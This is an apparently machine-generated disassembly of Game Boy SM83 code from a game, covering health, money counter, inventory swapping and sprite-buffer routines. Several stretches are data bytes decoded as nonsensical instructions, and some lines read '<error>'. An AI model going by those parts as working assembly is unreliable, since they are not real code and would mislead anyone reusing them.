ldh a, [$ff00 + $98]
sub a, $11
cp $7e
jr nc, .l_9c64
ldh a, [$ff00 + $99]
sub a, $16
cp $5e
jr nc, .l_9c64
ld a, [$c18f]
and a
jr nz, .l_9c64
ld a, $01
ld [$c18d], a
ld [$c190], a
ld a, $04
ld [$c111], a
ld a, $10
ldh [$ff00 + $f4], a
.l_9c64:
ret
ld h, b
ld [hl], b
ld h, c
ld [hl], c
call func_5b75
ld a, $88
ldh [$ff00 + $d7], a
ldh a, [$ff00 + $99]
sub a, $30
add a, $08
cp $10
jr nc, .l_9c88
ldh a, [$ff00 + $98]
sub a, $88
add a, $10
cp $20
jr nc, .l_9c88
ld a, $40
jr .l_9c8a
.l_9c88:
ld a, $30
.l_9c8a:
ldh [$ff00 + $d8], a
ld a, $03
call func_0953
ret
ldh a, [$ff00 + $99]
sub a, $30
add a, $08
cp $10
jr nc, .l_9caa
ldh a, [$ff00 + $98]
sub a, $88
add a, $10
cp $20
jr nc, .l_9caa
ld a, $30
jr .l_9cac
.l_9caa:
ld a, $20
.l_9cac:
ldh [$ff00 + $cd], a
ld a, $80
ldh [$ff00 + $ce], a
swap a
and $0f
ld e, a
ldh a, [$ff00 + $cd]
and $f0
or e
ld e, a
ld d, $00
ld hl, $d711
add hl, de
.l_9cc3:
ld a, $a0
func_9cc5::
ld [hl], a
call func_2839
ld a, [$d600]
ld e, a
ld d, $00
ld hl, $d601
add hl, de
add a, $0a
ld [$d600], a
ld de, $5c65
.l_9cdb:
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
ldi [hl], a
ld a, $81
ldi [hl], a
ld a, [de]
inc de
ldi [hl], a
ld a, [de]
inc de
ldi [hl], a
ldh a, [$ff00 + $cf]
ldi [hl], a
ldh a, [$ff00 + $d0]
inc a
ldi [hl], a
ld a, $81
ldi [hl], a
ld a, [de]
inc de
ldi [hl], a
ld a, [de]
ldi [hl], a
xor a
ld [hl], a
ret
ld l, d
ld a, d
ld l, e
ld a, e
ld a, $01
ldh [$ff00 + $ac], a
ld a, $10
ldh [$ff00 + $cd], a
add a, $10
ldh [$ff00 + $ae], a
ld a, $80
ldh [$ff00 + $ce], a
add a, $08
ldh [$ff00 + $ad], a
swap a
and $0f
ld e, a
ldh a, [$ff00 + $cd]
and $f0
or e
ld e, a
ld d, $00
ld hl, $d711
add hl, de
ld a, $be
ld [hl], a
call func_2839
ld a, [$d600]
ld e, a
ld d, $00
ld hl, $d601
add hl, de
add a, $0a
ld [$d600], a
ld de, $5cfc
jr .l_9cdb
and $1f
ldh [$ff00 + $d7], a
dec a
rst 0
sbc a, h
ld e, l
ld h, e
ld e, l
add a, c
ld e, l
ld h, e
ld e, l
ld a, b
ld e, l
adc a, c
ld e, l
ld h, e
ld e, l
sbc a, h
ld e, l
ld h, e
ld e, l
ld h, h
ld e, l
ld h, e
ld e, l
ld h, e
ld e, l
ld h, e
ld e, l
ld h, e
ld e, l
ld h, e
ld e, l
ret
ldh a, [$ff00 + $f7]
cp $06
jr nz, .l_9d6f
ld a, [$dae8]
jr .l_9d72
.l_9d6f:
ld a, [$d9ff]
.l_9d72:
and $20
jp nz, $08ec
ret
ld a, [$c1a2]
cp $02
jp z, $08ec
ret
ld a, [$c1cb]
and a
jp nz, $08ec
ret
ld c, $00
ld hl, $dbb6
.l_9d8e:
ldi a, [hl]
cp c
jr nz, .l_9d9b
inc c
ld a, c
cp $03
jr nz, .l_9d8e
call func_08ec
.l_9d9b:
ret
ld c, $0f
ld b, $00
.l_9da0:
ld hl, $c280
add hl, bc
ld a, [hl]
and a
jr z, .l_9db1
ld hl, $c430
add hl, bc
ld a, [hl]
and $02
jr z, .l_9dcc
.l_9db1:
dec c
ld a, c
cp $ff
jr nz, .l_9da0
ldh a, [$ff00 + $d7]
cp $08
jr nz, .l_9dc9
ld a, [$d460]
and a
jr z, .l_9dcc
ld a, [$c113]
and a
jr nz, .l_9dcc
.l_9dc9:
jp $08ec
.l_9dcc:
ret
ld a, [de]
cp [hl]
jr c, .l_9dd3
ld a, [hl]
ld [de], a
.l_9dd3:
inc hl
ret
ld hl, $db76
ld de, $db4c
call func_5dcd
ld de, $db4d
call func_5dcd
ld de, $db45
call func_5dcd
ld a, [$c11c]
cp $02
ret nc
ld a, [$c19f]
and a
jp nz, .l_5edc
ld a, [$c124]
and a
jp nz, .l_5ef1
ld a, [$c14f]
and a
jp nz, .l_5e83
ldh a, [$ff00 + $cb]
and $40
jp nz, .l_5ec8
ldh a, [$ff00 + $cc]
and $80
jp z, .l_5ec8
ld a, [$db9a]
cp $00
jr z, .l_9e2e
ld a, [$c167]
and a
jp nz, .l_5ec8
ldh a, [$ff00 + $a1]
cp $02
jp z, .l_5ec8
ldh a, [$ff00 + $9d]
inc a
jp z, .l_5ec8
.l_9e2e:
ld a, [$c1b5]
ld hl, $c1b8
or [hl]
ld hl, $c1b9
or [hl]
jp nz, .l_5ec8
ld a, $01
ld [$c14f], a
ld [$c151], a
ld a, $12
ldh [$ff00 + $f2], a
ld a, [$c150]
cpl
inc a
ld [$c150], a
and $80
jr z, .l_9e79
ld a, $11
ldh [$ff00 + $f2], a
xor a
ld [$c151], a
ld a, $0b
ld [$c154], a
ld a, [$dba5]
and a
ld a, $07
jr z, .l_9e76
ldh a, [$ff00 + $f7]
cp $08
ld a, $07
jr nc, .l_9e76
call func_6a9b
ld a, $02
.l_9e76:
ldh [$ff00 + $90], a
ret
.l_9e79:
ld a, $07
ldh [$ff00 + $a9], a
ld a, $70
ldh [$ff00 + $aa], a
pop af
ret
ld a, [$c151]
and a
jr nz, .l_9ea4
ld a, [$d601]
and a
jr nz, .l_9e96
call func_631f
ld hl, $c151
inc [hl]
.l_9e96:
pop af
call func_781b
call func_149e
call func_1ccc
call func_0b2b
ret
.l_9ea4:
call func_5ef2
ld a, [$c150]
ld hl, $db9a
add a, [hl]
ld [hl], a
cp $80
jr z, .l_9ebf
cp $00
jr nz, .l_9ec5
ld a, $03
ldh [$ff00 + $a9], a
ld a, $30
ldh [$ff00 + $aa], a
.l_9ebf:
xor a
ld [$c14f], a
jr .l_9ec8
.l_9ec5:
call func_5e97
.l_9ec8:
ld a, [$db9a]
cp $80
jr z, .l_9edc
ld a, [$c14f]
and a
jr nz, .l_9edb
call func_645e
call func_63f0
.l_9edb:
pop af
.l_9edc:
ld a, [$c19f]
and $7f
jr z, .l_9eeb
cp $0c
jr z, .l_9eeb
cp $0d
jr nz, .l_9ef1
.l_9eeb:
call func_5f09
call func_601a
.l_9ef1:
ret
ld a, [$c154]
cp $01
jr z, .l_9f08
ld c, a
ld b, $00
dec a
ld e, a
call func_61ed
ld a, [$c154]
dec a
ld [$c154], a
.l_9f08:
ret
ld hl, $d600
ldh a, [$ff00 + $e7]
and $01
or [hl]
ret nz
ld hl, $c3ce
ld a, [hl]
and a
jr z, .l_9f1b
dec [hl]
ret
.l_9f1b:
ld hl, $db8f
ld a, [$db90]
or [hl]
jr z, .l_9f74
ld a, $05
ldh [$ff00 + $f3], a
ld a, [$db90]
ld e, a
ld a, [$db8f]
sla e
rl a
sla e
rl a
sla e
rl a
inc a
cp $0a
jr c, .l_9f3f
ld a, $09
.l_9f3f:
ld e, a
ld a, [$db90]
sub a, e
ld [$db90], a
ld a, [hl]
sbc a, $00
ld [hl], a
ld a, [$db5e]
add a, e
daa
ld [$db5e], a
ld a, [$db5d]
adc a, $00
daa
ld [$db5d], a
cp $10
jr c, .l_9f71
ld a, $09
ld [$db5d], a
ld a, $99
ld [$db5e], a
xor a
ld [$db8f], a
ld [$db90], a
.l_9f71:
call func_5fd1
.l_9f74:
ld hl, $db91
ld a, [$db92]
or [hl]
jr z, .l_9fd0
ld a, $05
ldh [$ff00 + $f3], a
ld a, [$db92]
ld e, a
ld a, [$db91]
sla e
rl a
sla e
rl a
sla e
rl a
inc a
cp $0a
jr c, .l_9f98
ld a, $09
.l_9f98:
ld e, a
ld a, [$db92]
sub a, e
ld [$db92], a
ld a, [hl]
sbc a, $00
ld [hl], a
ld a, [$db5e]
ld hl, $db5d
or [hl]
jr z, .l_9fd0
ld a, [$db5e]
sub a, e
daa
ld [$db5e], a
ld a, [$db5d]
sbc a, $00
daa
ld [$db5d], a
jr nc, .l_9fcd
xor a
ld [$db5d], a
ld [$db5e], a
ld [$db91], a
ld [$db92], a
.l_9fcd:
call func_5fd1
.l_9fd0:
ret
ld a, [$d600]
ld e, a
ld d, $00
add a, $06
ld [$d600], a
ld hl, $d601
add hl, de
ld a, $9c
ldi [hl], a
ld a, $2a
ldi [hl], a
ld a, $02
ldi [hl], a
push hl
ld a, [$db5d]
and $0f
ld e, a
add a, $b0
pop hl
ldi [hl], a
push hl
ld a, [$db5e]
swap a
and $0f
add a, $b0
pop hl
ldi [hl], a
push hl
ld a, [$db5e]
and $0f
add a, $b0
pop hl
ldi [hl], a
ld a, $00
ldi [hl], a
ret
dec b
dec b
dec b
add hl, bc
add hl, bc
add hl, bc
ld de, $1111
add hl, de
add hl, de
add hl, de
xor a
ld [$c163], a
ld a, [$db5b]
ld e, a
ld d, $00
ld hl, $600b
add hl, de
ld a, [$db5a]
cp [hl]
jr nc, .l_a045
ld a, $01
ld [$c163], a
ld a, [$c110]
dec a
cp $ff
jr nz, .l_a042
ld a, $30
ld hl, $fff3
ld [hl], $04
.l_a042:
ld [$c110], a
.l_a045:
ldh a, [$ff00 + $e7]
and $01
jr z, .l_a0a5
ld a, [$d600]
and a
jr nz, .l_a0a5
ld a, [$db93]
and a
jr z, .l_a088
dec a
ld [$db93], a
ld a, [$db5b]
cp $0f
jr c, .l_a064
ld a, $0e
.l_a064:
sla a
sla a
sla a
ld e, a
ld a, [$db5a]
cp e
jr nz, .l_a077
xor a
ld [$db93], a
jr .l_a088
.l_a077:
inc a
ld [$db5a], a
and $07
cp $06
jr nz, .l_a085
ld a, $06
ldh [$ff00 + $f3], a
.l_a085:
jp $6117
.l_a088:
ld a, [$db94]
and a
jr z, .l_a0a5
dec a
ld [$db94], a
ld a, [$db5a]
and a
jr z, .l_a09c
dec a
ld [$db5a], a
.l_a09c:
call func_6117
ld a, [$db5a]
and a
jr z, .l_a0a6
.l_a0a5:
ret
.l_a0a6:
ld a, [$db0d]
and a
jr z, .l_a101
dec a
ld [$db0d], a
ld a, $08
ld [$db5a], a
ld a, [$db93]
add a, $80
ld [$db93], a
ld a, $a0
ld [$dbc7], a
ld a, [$d600]
ld e, a
ld d, $00
add a, $04
ld [$d600], a
ld hl, $d601
add hl, de
ld a, $9c
ldi [hl], a
ld a, $93
ldi [hl], a
ld a, $00
ldi [hl], a
ld a, [$db0d]
add a, $b0
cp $b0
jr z, .l_a0e7
ldi [hl], a
xor a
ld [hl], a
ret
.l_a0e7:
ld a, $7f
ldi [hl], a
ld a, $9c
ldi [hl], a
ld a, $72
ldi [hl], a
ld a, $c1
ldi [hl], a
ld a, $7f
ldi [hl], a
xor a
ld [hl], a
ld a, [$d600]
add a, $04
ld [$d600], a
ret
.l_a101:
ret
sbc a, h
dec c
ld b, $7f
ld a, a
ld a, a
ld a, a
ld a, a
ld a, a
ld a, a
sbc a, h
dec l
ld b, $7f
ld a, a
ld a, a
ld a, a
ld a, a
ld a, a
ld a, a
nop
ld a, [$d600]
ld e, a
ld d, $00
add a, $14
ld [$d600], a
ld hl, $d601
add hl, de
push de
ld bc, $6102
ld e, $15
.l_a12c:
ld a, [bc]
inc bc
ldi [hl], a
dec e
jr nz, .l_a12c
nop
nop
nop
nop
pop de
ld hl, $d604
add hl, de
ld c, $00
ld a, [$db5a]
and a
jr z, .l_a165
ldh [$ff00 + $d7], a
.l_a145:
ldh a, [$ff00 + $d7]
sub a, $08
ldh [$ff00 + $d7], a
jr c, .l_a15c
ld a, $a9
ldi [hl], a
inc c
ld a, c
cp $07
jr nz, .l_a15a
ld a, l
add a, $03
ld l, a
.l_a15a:
jr .l_a145
.l_a15c:
add a, $08
jr z, .l_a165
ld a, $ce
ldi [hl], a
jr .l_a16e
.l_a165:
ld a, [$db5b]
cp c
jr z, .l_a17a
ld a, $cd
ldi [hl], a
.l_a16e:
inc c
ld a, c
cp $07
jr nz, .l_a178
ld a, l
add a, $03
ld l, a
.l_a178:
jr .l_a165
.l_a17a:
ret
ld a, a
ld a, a
ld a, a
ld a, a
ld a, a
ld a, a
add a, h
ld a, a
ld a, a
add a, l
cp d
ld a, a
add a, b
ld a, a
ld a, a
add a, c
ld a, a
ld a, a
add a, d
ld a, a
ld a, a
add a, e
cp d
ld a, a
add a, [hl]
ld a, a
ld a, a
add a, a
cp d
ld a, a
adc a, b
ld a, a
ld a, a
adc a, c
ld a, a
ld a, a
adc a, d
ld a, a
ld a, a
adc a, e
ld a, a
ld a, a
adc a, h
ld a, a
ld a, a
adc a, l
ld a, a
ld a, a
sbc a, b
ld a, a
ld a, a
sbc a, c
ld a, a
ld a, a
sub a, b
ld a, a
ld a, a
sub a, c
ld a, a
ld a, a
sub a, d
ld a, a
ld a, a
sub a, e
ld a, a
ld a, a
sub a, [hl]
ld a, a
ld a, a
sub a, a
ld a, a
ld a, a
adc a, [hl]
ld a, a
ld a, a
adc a, a
ld a, a
ld a, a
and h
ld a, a
ld a, a
and l
ld a, a
ld a, a
sbc a, h
ld bc, $069c
sbc a, h
ld h, c
sbc a, h
ld h, l
sbc a, h
pop bc
sbc a, h
push bc
sbc a, l
ld hl, $259d
sbc a, l
add a, c
sbc a, l
add a, l
sbc a, l
pop hl
sbc a, l
push hl
ld c, $01
ld b, $00
ld e, $ff
ld a, [$0004]
and a
ret nz
push de
push bc
ld hl, $db00
add hl, bc
ld a, [hl]
ldh [$ff00 + $d8], a
sla a
ld e, a
sla a
add a, e
ldh [$ff00 + $d7], a
ld a, [$d600]
ld e, a
ld d, $00
ld hl, $d601
add hl, de
add a, $0c
ld [$d600], a
push hl
sla c
ld hl, $61cf
add hl, bc
push hl
pop de
pop hl
ld a, [de]
inc de
ldi [hl], a
ld a, [de]
inc de
ldi [hl], a
ld a, $02
ldi [hl], a
ldh a, [$ff00 + $d7]
ld c, a
push hl
ld hl, $617b
add hl, bc
push hl
pop de
pop hl
ld a, [de]
inc de
ldi [hl], a
ld a, [de]
inc de
ldi [hl], a
ld a, [de]
inc de
ldi [hl], a
pop bc
push bc
push hl
sla c
ld hl, $61cf
add hl, bc
push hl
pop de
pop hl
inc de
inc hl
ld a, [de]
add a, $20
ld [hl], a
dec de
dec hl
ld a, [de]
inc de
inc de
adc a, $00
ldi [hl], a
inc hl
ld a, $02
ldi [hl], a
ldh a, [$ff00 + $d7]
ld c, a
push hl
ld hl, $617e
add hl, bc
push hl
pop de
pop hl
ld a, [de]
inc de
ldi [hl], a
call func_6273
xor a
ld [hl], a
pop bc
pop de
dec c
ld a, c
cp e
jp nz, $61ed
ret
ldh a, [$ff00 + $d8]
cp $09
jr z, .l_a2b5
cp $0c
jr z, .l_a2aa
dec a
jr z, .l_a29d
dec a
jr z, .l_a2cf
dec a
jr z, .l_a293
dec a
jr z, .l_a298
dec a
jr z, .l_a2ca
.l_a28c:
ld a, [de]
inc de
ldi [hl], a
ld a, [de]
inc de
ldi [hl], a
ret
.l_a293:
ld a, [$db43]
jr .l_a2a0
.l_a298:
ld a, [$db44]
jr .l_a2a0
.l_a29d:
ld a, [$db4e]
.l_a2a0:
add a, $b0
ld c, a
ld a, [de]
inc de
ldi [hl], a
ld a, c
inc de
ldi [hl], a
ret
.l_a2aa:
ld a, [$db4b]
and a
jr nz, .l_a28c
ld a, [$db4c]
jr .l_a2d2
.l_a2b5:
ld a, [$db49]
and a
jp z, .l_628c
ld a, [$db4a]
inc a
swap a
call func_62d2
dec hl
ld [hl], $7f
inc hl
ret
.l_a2ca:
ld a, [$db45]
jr .l_a2d2
.l_a2cf:
ld a, [$db4d]
.l_a2d2:
push af
and $0f
add a, $b0
ld c, a
pop af
swap a
and $0f
add a, $b0
ldi [hl], a
ld a, c
ldi [hl], a
ret
sbc a, h
ld l, d
add a, e
sub a, h
sub a, l
ret nz
pop bc
sbc a, h
ld l, h
add a, e
and b
and c
jp nz, .l_9cc3
ld l, [hl]
add a, e
sbc a, d
sbc a, e
call nz, func_9cc5
ld l, a
add a, c
sbc a, h
sbc a, l
sbc a, h
or b
add a, c
add a, $c7
sbc a, h
ld [hl], c
add a, c
sbc a, [hl]
sbc a, a
sbc a, h
or d
add a, c
jp z, .l_9ccb
sub a, d
ld bc, $7f7f
sbc a, h
<error>
nop
ld a, a
nop
inc bc
ld a, [bc]
ld de, $0522
inc c
inc de
dec e
daa
ld hl, $d601
ld bc, $62e3
ld e, $33
.l_a327:
ld a, [bc]
inc bc
ldi [hl], a
dec e
jr nz, .l_a327
ld de, $db0c
ld bc, $0000
.l_a333:
ld a, c
cp $02
jr nz, .l_a33f
ld a, [$db7f]
and a
ld a, c
jr nz, .l_a35f
.l_a33f:
cp $04
jr nz, .l_a357
ld a, [$dba5]
and a
jr z, .l_a354
ldh a, [$ff00 + $f7]
cp $0a
jr nc, .l_a354
ld de, $dbcc
jr .l_a357
.l_a354:
ld de, $db11
.l_a357:
ld a, [de]
cp $ff
jr z, .l_a35f
and a
jr nz, .l_a37e
.l_a35f:
push de
ld hl, $6316
add hl, bc
ld e, [hl]
ld d, $00
ld hl, $d601
add hl, de
ld a, $7f
ldi [hl], a
ldi [hl], a
ld a, c
cp $02
jr nz, .l_a37d
inc hl
inc hl
inc hl
inc hl
inc hl
ld a, $7f
ldi [hl], a
ld [hl], a
.l_a37d:
pop de
.l_a37e:
inc de
inc c
ld a, c
cp $09
jr nz, .l_a333
ld hl, $d601
ld de, $002c
add hl, de
ld a, [$db0f]
and a
jr z, .l_a3a0
ld e, a
swap a
and $0f
add a, $b0
ldi [hl], a
ld a, e
and $0f
add a, $b0
ldi [hl], a
.l_a3a0:
ld hl, $d601
ld de, $0031
add hl, de
ld a, [$dba5]
and a
jr z, .l_a3bb
ldh a, [$ff00 + $f7]
cp $0a
jr nc, .l_a3bb
ld a, [$dbd0]
and a
jr z, .l_a3c8
jr .l_a3c5
.l_a3bb:
ld a, [$db15]
and a
jr z, .l_a3c8
cp $06
jr nc, .l_a3c8
.l_a3c5:
add a, $b0
ld [hl], a
.l_a3c8:
ld a, $32
ld [$d600], a
ret
rrc a
scf
rrc a
cpl
rrc a
cpl
rrc a
cpl
rrc a
cpl
rrc a
cpl
ld c, $0e
ld h, $26
ld a, $3e
ld d, [hl]
ld d, [hl]
ld l, [hl]
ld l, [hl]
add a, [hl]
add a, [hl]
ld a, [$db97]
cp $e4
ret c
ld d, $02
jr .l_a3f2
ld d, $0c
.l_a3f2:
ld hl, $db00
ld e, $00
.l_a3f7:
ldi a, [hl]
cp $01
jr z, .l_a402
inc e
ld a, e
cp d
jr nz, .l_a3f7
ret
.l_a402:
ld d, $00
ld hl, $63ce
add hl, de
ld a, [hl]
ldh [$ff00 + $d7], a
ld hl, $63da
add hl, de
ld a, [hl]
ldh [$ff00 + $d8], a
ld a, [$d47c]
dec a
jr nz, .l_a444
ldh a, [$ff00 + $e7]
and $08
jr nz, .l_a444
ld a, [$c3c0]
ld e, a
ld d, $00
ld hl, $c030
add hl, de
ld a, [$c1b5]
and a
jr z, .l_a431
ld hl, $c09c
.l_a431:
ld a, [$db9a]
push hl
ld hl, $ffd8
add a, [hl]
pop hl
ldi [hl], a
ldh a, [$ff00 + $d7]
ldi [hl], a
ld a, $04
ldi [hl], a
ld a, $50
ldi [hl], a
.l_a444:
ld a, $01
call func_3dd0
ret
rlc a
daa
rlc a
daa
rlc a
daa
rlc a
daa
rlc a
daa
jr z, .l_a47e
ld b, b
ld b, b
ld e, b
ld e, b
ld [hl], b
ld [hl], b
adc a, b
adc a, b
ld a, [$dba5]
and a
jr z, .l_a4b8
ldh a, [$ff00 + $f7]
cp $08
jp nc, .l_64bb
ld a, [$d46b]
and $f8
add a, $58
ld h, a
ld a, [$d46b]
rl a
rl a
rl a
and $38
add a, $57
ld l, a
.l_a47e:
ld a, [$dbb0]
and $20
jr z, .l_a492
ld a, [$d46b]
and $38
cp $20
jr nc, .l_a492
ld a, h
sub a, $08
ld h, a
.l_a492:
ld a, [$dbb0]
and $10
jr z, .l_a4a6
ld a, [$d46b]
and $07
cp $04
jr c, .l_a4a6
ld a, l
add a, $08
ld l, a
.l_a4a6:
ld a, h
ld [$c000], a
ld a, l
ld [$c001], a
ld a, $3f
ld [$c002], a
ldh a, [$ff00 + $e7]
rl a
and $10
.l_a4b8:
ld [$c003], a
call func_6505
call func_6742
ld a, [$c159]
inc a
ld [$c159], a
and $10
jr nz, .l_a4fc
ld a, [$dba3]
ld e, a
ld d, $00
ld hl, $6454
add hl, de
ld a, [hl]
ld [$c004], a
ld [$c008], a
ld hl, $644a
add hl, de
ld a, [hl]
ld [$c005], a
add a, $20
ld [$c009], a
ld a, $be
ld [$c006], a
ld [$c00a], a
ld a, $30
ld [$c007], a
ld a, $10
ld [$c00b], a
.l_a4fc:
ret
nop
ld bc, $00ff
nop
cp $02
nop
ld a, [$dba3]
ld [$c1b6], a
ld a, [$c1b8]
ld hl, $c1b9
or [hl]
jr nz, .l_a55e
ld a, [$c1b5]
and a
jr nz, .l_a53a
ldh a, [$ff00 + $cc]
and $03
ld e, a
ld d, $00
ld hl, $64fd
add hl, de
ld a, [$dba3]
add a, [hl]
ld [$dba3], a
cp $0a
jr c, .l_a53a
rl a
ld a, $00
jr nc, .l_a537
ld a, $09
.l_a537:
ld [$dba3], a
.l_a53a:
ldh a, [$ff00 + $cc]
srl a
srl a
and $03
ld e, a
ld d, $00
ld hl, $6501
add hl, de
ld a, [$dba3]
add a, [hl]
ld [$dba3], a
cp $0a
jr c, .l_a55e
rl a
ld a, $00
jr nc, .l_a55b
ld a, $09
.l_a55b:
ld [$dba3], a
.l_a55e:
ldh a, [$ff00 + $cb]
and $0f
jr z, .l_a56e
ld a, [$c1b5]
and a
jr nz, .l_a56e
xor a
ld [$c159], a
.l_a56e:
ld a, [$c1b5]
and a
jr z, .l_a58a
ld a, [$c1b8]
ld hl, $c1b9
or [hl]
jr nz, .l_a58a
ldh a, [$ff00 + $cc]
and $80
jr z, .l_a58a
ld a, $01
ld [$c1ba], a
jr .l_a5b7
.l_a58a:
ld a, [$dba3]
ld hl, $c1b6
cp [hl]
jr z, .l_a5c6
ld hl, $fff2
ld [hl], $0a
ld e, a
ld d, $00
ld hl, $db02
add hl, de
ld a, [hl]
cp $09
jr nz, .l_a5b7
ld a, [$db49]
and a
jr z, .l_a5b7
ld a, $08
ldh [$ff00 + $90], a
ld a, $10
ld [$c1b8], a
ld a, $01
jr .l_a5c3
.l_a5b7:
ld a, [$c1b5]
and a
jr z, .l_a5c6
ld a, $10
ld [$c1b9], a
xor a
.l_a5c3:
ld [$c1b5], a
.l_a5c6:
ld hl, $c1b9
ld a, [$c1b8]
or [hl]
jp nz, .l_667b
ldh a, [$ff00 + $cc]
and $10
jr z, .l_a61e
ld a, [$db01]
push af
ld hl, $db02
ld a, [$dba3]
ld c, a
ld b, $00
add hl, bc
ld a, [hl]
ld [$db01], a
pop af
ld [hl], a
cp $09
jr nz, .l_a604
ld a, [$db49]
and a
jr z, .l_a604
ld a, $08
ldh [$ff00 + $90], a
ld a, $10
ld [$c1b8], a
ld a, $01
ld [$c1b5], a
jr .l_a613
.l_a604:
ld a, [$c1b5]
and a
jr z, .l_a613
xor a
ld [$c1b5], a
ld a, $10
ld [$c1b9], a
.l_a613:
ld c, $01
ld b, $00
ld e, $00
call func_61ed
jr .l_a66a
.l_a61e:
ldh a, [$ff00 + $cc]
and $20
jr z, .l_a67b
ld a, [$db00]
push af
ld hl, $db02
ld a, [$dba3]
ld c, a
ld b, $00
add hl, bc
ld a, [hl]
ld [$db00], a
pop af
ld [hl], a
cp $09
jr nz, .l_a652
ld a, [$db49]
and a
jr z, .l_a652
ld a, $10
ld [$c1b8], a
ld a, $08
ldh [$ff00 + $90], a
ld a, $01
ld [$c1b5], a
jr .l_a661
.l_a652:
ld a, [$c1b5]
and a
jr z, .l_a661
xor a
ld [$c1b5], a
ld a, $10
ld [$c1b9], a
.l_a661:
ld c, $00
ld b, $00
ld e, $ff
call func_61ed
.l_a66a:
ld a, $13
ldh [$ff00 + $f2], a
ld a, [$dba3]
add a, $02
ld c, a
ld b, $00
dec a
ld e, a
call func_61ed
.l_a67b:
ret
ldhl sp, d
.l_a67d:
ldh a, [$ff00 + $22]
nop
ldhl sp, d
ldhl sp, d
ldi [hl], a
jr nz, .l_a67d
nop
inc h
nop
ldhl sp, d
ld [$2024], sp
ldhl sp, d
stop
ld h, $00
ldhl sp, d
jr .l_a6b9
jr nz, .l_a69d
ldh a, [$ff00 + $20]
nop
ld [$20f8], sp
nop
ld [$2000], sp
nop
ld [$2008], sp
nop
ld [$2010], sp
nop
ld [$2018], sp
nop
ei
<error>
jr nz, .l_a6b0
.l_a6b0:
ei
<error>
jr nz, .l_a6d4
ei
nop
jr nz, .l_a6b8
.l_a6b8:
ei
.l_a6b9:
ld [$2020], sp
ei
inc c
jr nz, .l_a6c0
.l_a6c0:
ei
inc d
jr nz, .l_a6e4
dec b
<error>
jr nz, .l_a6c8
.l_a6c8:
dec b
<error>
jr nz, .l_a6cc
.l_a6cc:
dec b
nop
jr nz, .l_a6d0
.l_a6d0:
dec b
ld [$0020], sp
.l_a6d4:
dec b
inc c
jr nz, .l_a6d8
.l_a6d8:
dec b
inc d
jr nz, .l_a6dc
.l_a6dc:
<error>
ldhl sp, d
jr nz, .l_a6e0
.l_a6e0:
<error>
stop
jr nz, .l_a704
.l_a6e4:
<error>
nop
jr nz, .l_a6e8
.l_a6e8:
<error>
ld [$2020], sp
<error>
ld [$0020], sp
<error>
stop
jr nz, .l_a714
inc bc
ldhl sp, d
jr nz, .l_a6f8
.l_a6f8:
inc bc
stop
jr nz, .l_a6fc
.l_a6fc:
inc bc
nop
jr nz, .l_a700
.l_a700:
inc bc
ld [$0020], sp
.l_a704:
inc bc
ld [$0020], sp
inc bc
stop
jr nz, .l_a70c
.l_a70c:
nop
nop
jr nz, .l_a710
.l_a710:
nop
ld [$2020], sp
.l_a714:
nop
nop
jr nz, .l_a718
.l_a718:
nop
ld [$2020], sp
nop
nop
jr nz, .l_a720
.l_a720:
nop
ld [$2020], sp
nop
nop
jr nz, .l_a728
.l_a728:
nop
ld [$0020], sp
nop
nop
jr nz, .l_a730
.l_a730:
nop
ld [$0020], sp
nop
nop
jr nz, .l_a738
.l_a738:
nop
ld [$0020], sp
ld d, b
ld h, b
ld [hl], b
inc b
ld [bc], a
ld bc, $b9fa
pop bc
and a
jr z, .l_a764
dec a
ld [$c1b9], a
jr nz, .l_a761
ld hl, $ff90
ld [hl], $0b
ld a, [$c1ba]
and a
jr z, .l_a760
xor a
ld [$c1ba], a
jp .l_5e3c
.l_a760:
ret
.l_a761:
cpl
jr .l_a76e
.l_a764:
ld a, [$c1b8]
and a
jr z, .l_a774
dec a
ld [$c1b8], a
.l_a76e:
rr a
rr a
and $03
jr .l_a77d
.l_a774:
ld a, [$c1b5]
and a
jp z, .l_684a
ld a, $00
.l_a77d:
ld [$c1b7], a
ld a, [$c1b7]
ld d, $00
sla a
sla a
sla a
sla a
ld e, a
sla a
add a, e
ld e, a
ld hl, $667c
add hl, de
ld de, $c018
ld c, $0c
ld b, $04
.l_a79d:
ldi a, [hl]
add a, $30
ld [de], a
inc de
ldi a, [hl]
add a, $60
ld [de], a
inc de
ldi a, [hl]
ld [de], a
inc de
cp $22
jr z, .l_a7b8
cp $24
jr z, .l_a7bc
cp $26
jr z, .l_a7c0
jr .l_a7cd
.l_a7b8:
ld b, $04
jr .l_a7c2
.l_a7bc:
ld b, $02
jr .l_a7c2
.l_a7c0:
ld b, $01
.l_a7c2:
ld a, [$db49]
and b
jr nz, .l_a7cd
dec de
ld a, $20
ld [de], a
inc de
.l_a7cd:
ldi a, [hl]
ld [de], a
inc de
dec c
jr nz, .l_a79d
ld a, [$c1b7]
cp $00
jr nz, .l_a84a
ldh a, [$ff00 + $cc]
and $41
jr z, .l_a7f8
.l_a7e0:
ld hl, $db4a
ld a, [hl]
inc a
cp $03
jr nz, .l_a7ea
xor a
.l_a7ea:
ld [hl], a
ld e, a
ld d, $00
ld hl, $673f
add hl, de
ld a, [$db49]
and [hl]
jr z, .l_a7e0
.l_a7f8:
ldh a, [$ff00 + $cc]
and $02
jr z, .l_a817
.l_a7fe:
ld hl, $db4a
ld a, [hl]
dec a
cp $80
jr c, .l_a809
ld a, $02
.l_a809:
ld [hl], a
ld e, a
ld d, $00
ld hl, $673f
add hl, de
ld a, [$db49]
and [hl]
jr z, .l_a7fe
.l_a817:
ld a, [$db4a]
ldh a, [$ff00 + $cc]
and $43
jr z, .l_a823
call func_666a
.l_a823:
ld hl, $c010
ld a, $38
ldi [hl], a
push hl
ld a, [$db4a]
ld e, a
ld d, $00
ld hl, $673c
add hl, de
ld a, [hl]
pop hl
ldi [hl], a
push af
ld a, $28
ldi [hl], a
ld a, $00
ldi [hl], a
ld a, $38
ldi [hl], a
pop af
add a, $08
ldi [hl], a
ld a, $28
ldi [hl], a
ld [hl], $20
.l_a84a:
ret
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
ld a, l
rst 28
ld a, l
ld a, l
rst 28
rst 28
rst 28
ld a, l
ld a, l
xor $7d
<error>
ld a, l
rst 28
<error>
rst 28
<error>
rst 28
ld a, l
rst 28
rst 28
<error>
<error>
rst 28
rst 28
rst 28
ld a, l
rst 28
ld a, l
rst 28
<error>
<error>
